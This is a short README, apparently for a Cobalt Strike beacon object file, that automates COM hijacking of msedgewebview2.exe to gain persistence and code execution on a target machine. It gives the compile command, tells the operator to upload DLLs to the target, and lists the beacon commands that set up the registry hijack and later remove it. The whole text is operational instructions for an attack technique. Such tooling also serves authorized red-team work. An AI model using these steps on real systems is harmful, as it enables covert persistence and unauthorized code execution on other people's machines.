Automates COM hijacking of msedgewebview2.exe for persistence and code execution.
In x64 Native Tools Command Prompt for VS:
cl.exe /c /GS- /O2 comhijack.c /Focomhijack.x64.o
- Upload the DLLs to the target machine
- Run the command to setup the COM hijacking
beacon> comhijack C:\path\to\hijack.dll
- Clean up the COM hijacking Registry keys
beacon> comhijack_cleanup